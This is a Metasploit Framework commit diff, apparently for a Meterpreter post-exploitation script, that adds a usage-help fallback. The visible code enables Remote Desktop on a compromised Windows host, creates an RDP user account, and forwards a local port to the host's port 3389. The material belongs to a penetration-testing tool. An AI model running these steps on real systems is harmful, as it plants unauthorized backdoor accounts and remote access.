1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00

will show help if wrong option given

git-svn-id: file:///home/svn/framework3/trunk@9995 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Carlos Perez 2010-08-13 11:45:54 +00:00
parent 2789e9007e
commit b403c787d6

View File

@ -161,19 +161,27 @@ frwrd = nil
end
}
message
if enbl
enablerd()
enabletssrv()
end
if usr != nil && pass != nil
langdetect(lang)
addrdpusr(session, usr, pass, lang)
end
if frwrd == true
print_status("Starting the port forwarding at local port #{lport}")
client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1")
end
print_status("For cleanup use command: run multi_console_command -rc #{@dest}")
if args.length > 0
if enbl or (usr and pass)
message
if enbl
enablerd()
enabletssrv()
end
if usr and pass
langdetect(lang)
addrdpusr(session, usr, pass, lang)
end
if frwrd == true
print_status("Starting the port forwarding at local port #{lport}")
client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1")
end
print_status("For cleanup use command: run multi_console_command -rc #{@dest}")
else
usage
end
else
usage
end